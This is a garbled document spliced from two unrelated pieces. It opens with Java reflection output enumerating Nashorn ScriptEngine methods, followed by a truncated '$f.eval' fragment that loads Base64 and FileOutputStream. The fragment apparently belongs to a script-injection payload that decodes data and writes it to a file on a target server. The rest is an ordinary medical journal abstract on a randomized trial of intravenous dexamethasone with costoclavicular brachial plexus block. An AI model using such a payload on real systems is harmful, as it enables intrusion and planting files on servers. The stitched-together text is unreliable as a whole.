public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (5): 1053-1058.doi: 10.12122/j.issn.1673-4254.2026.05.08

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Intravenous dexamethasone enhances efficacy of brachial plexus block via the costoclavicular space: a randomized, double-blind, single-center trial

Shuang WANG1(), Meishan WU2(), Nan SUN1(), Chunshui LIN1, Ying CHEN1, Chaoting ZHANG1, Fan DENG1(), Xin MA3(), Haihong FANG1()   

  1. 1.Department of Anesthesiology, Nanfang Hospital, Southern Medical University, Guangzhou 510515, China
    2.Department of Anesthesiology, Foshan Maternal and Child Health Hospital, Southern Medical University, Foshan 528000, China
    3.Department of Anesthesiology, Beijing Chaoyang Hospital Affiliated to Capital Medical University, Beijing 100020, China
  • Received:2025-09-16 Online:2026-05-20 Published:2026-05-27
  • Contact: Fan DENG, Xin MA, Haihong FANG E-mail:912093936@qq.com;bblong1994@qq.com;413034707@qq.com;fandeng@smu.deu.cn;maxinfly@126.com;329596136@qq.com
  • Supported by:
    National Natural Science Foundation of China(82572476)

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Abstract:

Objective To investigate the effect of intravenous 8 mg dexamethasone injection on the efficacy of ultrasound-guided brachial plexus block (BPB) with 20 mL 0.375% ropivacaine via the costoclavicular space (CCS). Methods Eighty-four patients (18-65 years, ASA I-II, and BMI 18-25 kg/m²) undergoing elective surgery below the elbow were randomized into two groups to receive ultrasound-guided BPB with 20 mL 0.375% ropivacaine via the CCS combined with intravenous injection of 8 mg (4 mL) dexamethasone (trial group) or 4 mL normal saline (control group). The mean arterial pressure (MAP) and heart rate (HR) were measured before block, at the end of block, and at the start of surgery, and the type of surgery, duration of surgery, and block onset time (T1) were recorded. After the operation, the patients were followed up for durations of sensory (T2) and motor (T3) block, patient's satisfaction with anesthesia, incidences of nausea and vomiting within 24 h, and incidences of nerve block-related adverse effects within one week. Results No significant difference in block onset time was found between the two groups (P>0.05). The patients in the trial group exhibited significantly prolonged T2 and T3 (P<0.001) with higher anesthesia satisfaction (P<0.05). No significant differences were observed in postoperative adverse events between the two groups (P>0.05). Conclusion Intravenous 8 mg dexamethasone, which does not affect block onset time of BPB via the CCS, significantly prolongs the sensory and motor block durations and improves anesthesia satisfaction without significantly increasing the incidences of postoperative adverse events.

Key words: ropivacaine, costoclavicular brachial plexus block, dexamethasone